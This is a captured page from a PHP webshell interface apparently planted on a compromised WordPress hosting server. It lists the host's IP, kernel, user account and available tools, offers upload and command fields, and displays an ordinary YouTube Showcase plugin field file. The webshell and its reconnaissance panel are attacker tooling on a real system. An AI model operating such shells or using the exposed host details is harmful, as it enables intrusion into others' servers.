403Webshell
Server IP : 68.178.247.200  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux p3plzcpnl489463.prod.phx3.secureserver.net 4.18.0-553.126.2.lve.el8.x86_64 #1 SMP Thu May 28 14:12:30 UTC 2026 x86_64
User : x9dppmxs4rgd ( 8559391)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /./proc/self/cwd/wp-content/plugins/youtube-showcase/assets/ext/emd-meta-box/inc/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /./proc/self/cwd/wp-content/plugins/youtube-showcase/assets/ext/emd-meta-box/inc/fields/post.php
<?php
// Prevent loading this file directly
defined( 'ABSPATH' ) || exit;

// Make sure "select" field is loaded
require_once EMD_MB_FIELDS_DIR . 'select-advanced.php';

if ( !class_exists( 'EMD_MB_Post_Field' ) )
{
	class EMD_MB_Post_Field extends EMD_MB_Field
	{
		/**
		 * Enqueue scripts and styles
		 *
		 * @return void
		 */
		static function admin_enqueue_scripts()
		{
			EMD_MB_Select_Advanced_Field::admin_enqueue_scripts();
		}

		/**
		 * Get field HTML
		 *
		 * @param mixed  $meta
		 * @param array  $field
		 *
		 * @return string
		 */
		static function html( $meta, $field )
		{
			$field['options'] = self::get_options( $field );
			switch ( $field['field_type'] )
			{
				case 'select':
					return EMD_MB_Select_Field::html( $meta, $field );
				case 'select_advanced':
				default:
					return EMD_MB_Select_Advanced_Field::html( $meta, $field );
			}
		}

		/**
		 * Normalize parameters for field
		 *
		 * @param array $field
		 *
		 * @return array
		 */
		static function normalize_field( $field )
		{
			$default_post_type = __( 'Post', 'emd-plugins' );
			if ( is_string( $field['post_type'] ) )
			{
				$post_type_object = get_post_type_object( $field['post_type'] );
				$default_post_type = $post_type_object->labels->singular_name;
			}

			$field = wp_parse_args( $field, array(
				'post_type'  => 'post',
				'field_type' => 'select_advanced',
				'parent'     => false,
				'query_args' => array()
			) );

			$field['std'] = empty( $field['std'] ) ? sprintf( __( 'Select a %s', 'emd-plugins' ), $default_post_type ) : $field['std'];

			if ( $field['parent'] )
			{
				$field['multiple'] = false;
				$field['field_name'] = 'parent_id';
			}

			$field['query_args'] = wp_parse_args( $field['query_args'], array(
				'post_type'      => $field['post_type'],
				'post_status'    => 'publish',
				'posts_per_page' => '-1'
			) );

			switch ( $field['field_type'] )
			{
				case 'select':
					return EMD_MB_Select_Field::normalize_field( $field );
					break;
				case 'select_advanced':
				default:
					return EMD_MB_Select_Advanced_Field::normalize_field( $field );
			}
		}

		/**
		 * Get meta value
		 * If field is cloneable, value is saved as a single entry in DB
		 * Otherwise value is saved as multiple entries (for backward compatibility)
		 *
		 * @see "save" method for better understanding
		 *
		 * @param $post_id
		 * @param $saved
		 * @param $field
		 *
		 * @return array
		 */
		static function meta( $post_id, $saved, $field )
		{
			if ( isset( $field['parent'] ) && $field['parent'] )
			{
				$post = get_post( $post_id );
				return $post->post_parent;
			}
			return EMD_MB_Select_Field::meta( $post_id, $saved, $field );
		}

		/**
		 * Save meta value
		 * If field is cloneable, value is saved as a single entry in DB
		 * Otherwise value is saved as multiple entries (for backward compatibility)
		 *
		 * TODO: A good way to ALWAYS save values in single entry in DB, while maintaining backward compatibility
		 *
		 * @param $new
		 * @param $old
		 * @param $post_id
		 * @param $field
		 */
		static function save( $new, $old, $post_id, $field )
		{
			return EMD_MB_Select_Field::save( $new, $old, $post_id, $field );
		}

		/**
		 * Get posts
		 *
		 * @param array $field
		 *
		 * @return array
		 */
		static function get_options( $field )
		{
			$query = new WP_Query( $field['query_args'] );
			if ( $query->have_posts() ) {
				while( $query->have_posts() )
				{
					$post = $query->next_post();
					$options[$post->ID] = $post->post_title;
				}
			} else {
				$options = array();
			}
			return $options;
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit